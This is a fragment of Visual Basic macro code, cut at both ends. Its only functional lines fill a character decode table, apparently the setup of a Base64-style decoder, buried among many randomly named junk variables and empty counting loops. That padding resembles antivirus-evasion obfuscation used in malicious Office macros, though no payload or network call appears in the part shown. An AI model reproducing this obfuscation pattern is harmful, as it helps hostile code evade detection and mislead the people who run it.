Do While ImQAwl < 2302 + 10
ImQAwl = ImQAwl + 1: DoEvents
Loop
aDecTab(C) = t
Dim zGkxwMQ As Integer
zGkxwMQ = 617
Do While zGkxwMQ < 617 + 10
zGkxwMQ = zGkxwMQ + 1: DoEvents
Loop
Dim qFmsLTJpklj As Integer
qFmsLTJpklj = 425
Do While qFmsLTJpklj < 425 + 10
qFmsLTJpklj = qFmsLTJpklj + 1: DoEvents
Loop
t = t + 1
Dim zROlHgYTg As Integer
zROlHgYTg = 1038
Do While zROlHgYTg < 1038 + 10
zROlHgYTg = zROlHgYTg + 1: DoEvents
Loop
Dim pxJmFlIbnbZ As Integer
pxJmFlIbnbZ = 153
Do While pxJmFlIbnbZ < 153 + 10
pxJmFlIbnbZ = pxJmFlIbnbZ + 1: DoEvents
Loop
Next
Dim nCGJBap As Integer
nCGJBap = 1621
Do While nCGJBap < 1621 + 10
nCGJBap = nCGJBap + 1: DoEvents
Loop
Dim xyfmEMCidech As Integer
xyfmEMCidech = 2014
Do While xyfmEMCidech < 2014 + 10
xyfmEMCidech = xyfmEMCidech + 1: DoEvents
Loop
For C = Asc(MPt) To Asc(rH2A)
Dim ismPgySmgVBK As Integer
ismPgySmgVBK = 2238
Do While ismPgySmgVBK < 2238 + 10
ismPgySmgVBK = ismPgySmgVBK + 1: DoEvents
Loop
Dim bxhsyuF As Integer
bxhsyuF = 984
Do While bxhsyuF < 984 + 10
bxhsyuF = bxhsyuF + 1: DoEvents
Loop
aDecTab(C) = t
Dim HRAAnaBY As Integer
HRAAnaBY = 605
Do While HRAAnaBY < 605 + 10
HRAAnaBY = HRAAnaBY + 1: DoEvents
Loop
Dim APHsa As Integer
APHsa = 554
Do While APHsa < 554 + 10
APHsa = APHsa + 1: DoEvents
Loop
t = t + 1
Dim IckaFAAzE As Integer
IckaFAAzE = 396
Do While IckaFAAzE < 396 + 10
IckaFAAzE = IckaFAAzE + 1: DoEvents
Loop
Dim qsZtyGvcklj As Integer
qsZtyGvcklj = 316
Do While qsZtyGvcklj < 316 + 10
qsZtyGvcklj = qsZtyGvcklj + 1: DoEvents
Loop
Next
Dim dIDECHs As Integer
dIDECHs = 505
Do While dIDECHs < 505 + 10
dIDECHs = dIDECHs + 1: DoEvents
Loop
Dim cwBJzfoo As Integer
cwBJzfoo = 931
Do While cwBJzfoo < 931 + 10
cwBJzfoo = cwBJzfoo + 1: DoEvents
Loop
C = Asc(mE4AWCC3O)
Dim UgxyTUeCjMcI As Integer
UgxyTUeCjMcI = 1721
Do While UgxyTUeCjMcI < 1721 + 10
UgxyTUeCjMcI = UgxyTUeCjMcI + 1: DoEvents
Loop
Dim qQcVolIeCur As Integer
…